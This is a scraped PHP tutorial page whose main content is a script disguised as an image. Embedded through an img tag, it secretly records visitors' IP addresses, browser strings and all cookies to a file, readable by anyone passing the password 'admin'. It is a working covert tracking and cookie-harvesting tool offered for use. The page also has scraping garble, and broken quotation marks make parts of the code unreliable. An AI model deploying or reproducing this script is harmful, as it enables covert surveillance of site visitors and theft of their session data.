Home >Backend Development >PHP Tutorial >Use img to remotely call pictures to record visitor browser information, operating system, etc._PHP tutorial

Use img to remotely call pictures to record visitor browser information, operating system, etc._PHP tutorial

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-07-13 17:49:52959browse


I'm too lazy to write regular rules for judging the operating system, so you can just tell based on the browser information

http://localhost/test.php

$pass=admin This is the password to view information

http://www.BkJia.com /test.php?pass=admin

You can check the password
$filePath=’./x.txt’; //Information saving address
$image=’x.jpg’; //Read the image and output it. You can choose the image by yourself

date_default_timezone_set('PRC');
$pass='admin';
$filePath='./x.txt'; //Information saving address
$image='x.jpg'; //Output image name
if(@$_GET['pass']==$pass){
$pics=file($filePath);
for($i=0;$i< count($pics);$i++)
{
echo $pics[$i];
}
exit;
}else{
header("Content-type:image/jpeg");
$ip=getip();
$USER_AGENT=$_SERVER['HTTP_USER_AGENT'];
$data=date("Y-m-d H:i:s", time());
$content='Access IP:'.$ip.'
Browser information:'.$USER_AGENT.'
COOKIE:
';
writeto($filePath,$content);
foreach($_COOKIE as $key=>$value){
$content=$key.' = '.htmlspecialchars($value).'
';
writeto($filePath,$content);
}
writeto($filePath,'Access time:'.$data.'
');
$pics=file($image);
for($i=0;$i< count($pics);$i++)
{
echo $pics[$i];
}
}
function getip() {
if (! empty ( $_SERVER ["HTTP_CLIENT_IP"] )) {
$cip = $_SERVER ["HTTP_CLIENT_IP"];
} else if (! empty ( $_SERVER ["HTTP_X_FORWARDED_FOR"] )) {
$cip = $_SERVER ["HTTP_X_FORWARDED_FOR"];
} else if (! empty ( $_SERVER ["REMOTE_ADDR"] )) {
$cip = $_SERVER ["REMOTE_ADDR"];
} else {
$cip = ‘‘;
}
preg_match ("/[d.]{7,15}/", $cip, $cips );
$cip = isset ( $cips [0] ) ? $cips [0] : 'unknown';
unset ( $cips );
return $cip;
}
function writeto($filePath, $content){
$path = fopen($filePath,'a');
flock($path, LOCK_EX);
$result = fwrite($path, $content);
fclose($path);
return $result;
}
?>

Original address: http://www.90sec.org/thread-1744-1-1.html

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/478327.htmlTechArticleI am too lazy to write regular rules to determine the operating system, so everyone can know directly based on the browser information http://localhost /test.php $pass=admin This is the password to view information http://www.2cto.c...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn